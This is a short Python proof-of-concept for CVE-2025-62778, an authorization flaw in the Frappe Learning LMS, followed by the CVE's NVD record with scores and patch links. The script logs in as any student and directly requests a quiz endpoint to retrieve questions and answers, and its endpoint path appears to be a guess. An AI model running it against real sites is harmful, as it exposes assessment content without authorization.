CVE-2025-62778

import requests # CVE-2025-62778 PoC - Frappe Learning Quiz Form Unauthorized Access # Target: Frappe Learning <= 2.39.1 TARGET_URL = "http://target-site.com" # Replace with actual quiz URL obtained through enumeration or information disclosure QUIZ_URL = f"{TARGET_URL}/api/method/learning_website.quiz.get_quiz?quiz_id=YOUR_QUIZ_ID" def exploit_unauthorized_quiz_access(): """ This PoC demonstrates the unauthorized access to Quiz Form. Steps: 1. Obtain a valid session cookie (student account) 2. Access the Quiz Form URL directly without completing prerequisites 3. Retrieve quiz questions and answers """ session = requests.Session() # Step 1: Login as a student (any authenticated user) login_url = f"{TARGET_URL}/api/method/login" login_data = { "usr": "[email protected]", "pwd": "password123" } session.post(login_url, json=login_data) # Step 2: Directly access Quiz Form without meeting prerequisites headers = { "X-Frappe-CSRF-Token": session.cookies.get("csrf_token") or "" } # Step 3: Retrieve quiz content directly via URL response = session.get(QUIZ_URL, headers=headers) if response.status_code == 200: print("[+] Successfully accessed Quiz Form without authorization!") print(f"[+] Quiz Content: {response.json()}") return True else: print(f"[-] Access failed: {response.status_code}") return False if __name__ == "__main__": exploit_unauthorized_quiz_access()

{"cve": {"id": "CVE-2025-62778", "sourceIdentifier": "[email protected]", "published": "2025-10-27T22:15:41.873", "lastModified": "2025-11-03T18:40:23.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe Learning is a learning management system. A security issue was identified in Frappe Learning 2.39.1 and earlier, where students were able to access the Quiz Form if they had the URL."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-425"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:learning:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.39.2", "matchCriteriaId": "580D26BD-0E38-4F97-A5B7-E2047F6F5E8D"}]}]}], "references": [{"url": "https://github.com/frappe/lms/commit/8749e21744547ae32f729bde05c854113e126750", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/frappe/lms/security/advisories/GHSA-8xvv-6v89-xxgx", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}